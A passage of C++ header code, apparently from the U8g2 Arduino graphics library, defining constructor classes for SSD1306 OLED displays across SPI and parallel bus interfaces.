uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_2040X16_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_2040X16_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_128X64_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_128X64_VCOMH0_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_128X64_VCOMH0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    